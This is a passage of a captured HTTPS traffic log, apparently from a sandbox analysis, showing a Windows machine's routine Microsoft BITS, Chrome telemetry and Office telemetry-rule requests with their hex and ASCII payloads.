2024-10-29 14:27:32 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-10-29 14:27:32 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=80890 Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Length: 55 Connection: close X-CID: 2
2024-10-29 14:27:32 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.6	49849	216.58.206.46	443	7172	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	903	OUT	POST /log?format=json&hasfast=true HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 910 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/x-www-form-urlencoded;charset=UTF-8 Accept: / Origin: chrome-untrusted://new-tab-page X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIkqHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=518=LAdLcFCZK_fAtEKc1HbChBkLwYnVNkG4qo9H6cmWfZzyK0h5vUS_E8DJhSJ2c0D5n54kiUVairJEwzScXkFRJta4dZYMbV0HF1qIKHJH6QrARopxPQr2Rg0yVuLD68qKIqd9uxSx9kY9QQF_Ew3JoWg6waI21WyePZvowQARLC81atjq6k4
2024-10-29 14:27:32 UTC	910	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 34 22 5d 2c 5b 31 2c 30 2c 30 2c 30 2c 30 5d 5d 5d 2c 33 37 33 2c 5b 5b 22 31 37 33 30 32 31 32 30 35 30 33 35 35 22 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,null,null,null,null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.134"],[1,0,0,0,0]]],373,[["1730212050355",null,null,null,
2024-10-29 14:27:33 UTC	945	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: chrome-untrusted://new-tab-page Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=518=zQBDCmmQKfMaE0_aF2pAlAhmABqF8vYMCBvgJrENQ_Lxc7krrAD0LcLo5AH0ZzYOVgqYyvM0z0abazX8ynTiitZzHAByjj2NSxuo_Bn91Jbt_lcKyJrq0Dt9Y1YM7wrUHs2Uu8yofNRFGg_o-jId47lAg30My1d_PK-7rULVf7Sl94Svx8Tv1GRhDPI; expires=Wed, 30-Apr-2025 14:27:32 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Tue, 29 Oct 2024 14:27:33 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Tue, 29 Oct 2024 14:27:33 GMT Connection: close Transfer-Encoding: chunked
2024-10-29 14:27:33 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-10-29 14:27:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49852	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:32 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 22a25694-101e-007a-3b3f-26047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-17c5cb586f64v7xsc2ahm8gsgw00000001rg000000001060 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:32 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49853	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:33 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: 19ae2231-801e-007b-0d9c-27e7ab000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-16849878b78qfbkc5yywmsbg0c000000066000000000q5xb x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:33 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49850	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	192	OUT	GET /rules/rule703501v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:33 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: c3d8694b-101e-0046-45a3-2691b0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-16849878b78bjkl8dpep89pbgg000000058000000000nrw4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:33 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49851	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:32 UTC	192	OUT	GET /rules/rule703350v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:33 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:32 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:42 GMT ETag: "0x8DC582BDF1E2608" x-ms-request-id: 141f8a5a-601e-000d-3b74-272618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142732Z-16849878b7828dsgct3vrzta7000000004y000000000p971 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 33 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 63 72 69 70 74 4c 61 62 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 63 72 69 70 74 4c 61 62 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703350" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ScriptLab" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenScriptLab" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.6	49854	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:33 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:33 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:33 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: cce14155-601e-000d-601a-292618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142733Z-r197bdfb6b4qbfppwgs4nqza80000000055000000000en3a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.6	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:33 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:33 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:33 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 38ae9a1e-e01e-0099-4193-27da8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142733Z-r197bdfb6b4g24ztpxkw4umce8000000083g00000000bhnw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:33 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.6	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:33 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:33 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:33 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142733Z-16849878b78hh85qc40uyr8sc800000006wg00000000f1dw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 14:27:33 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.6	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:33 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:33 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:33 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142733Z-16849878b782d4lwcu6h6gmxnw000000068g00000000gwey x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:33 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.6	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 14:27:33 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 14:27:34 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 14:27:33 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 05f3f012-b01e-0070-4973-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T142733Z-17c5cb586f6w4mfs5xcmnrny6n00000008e0000000003ndf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 14:27:34 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" 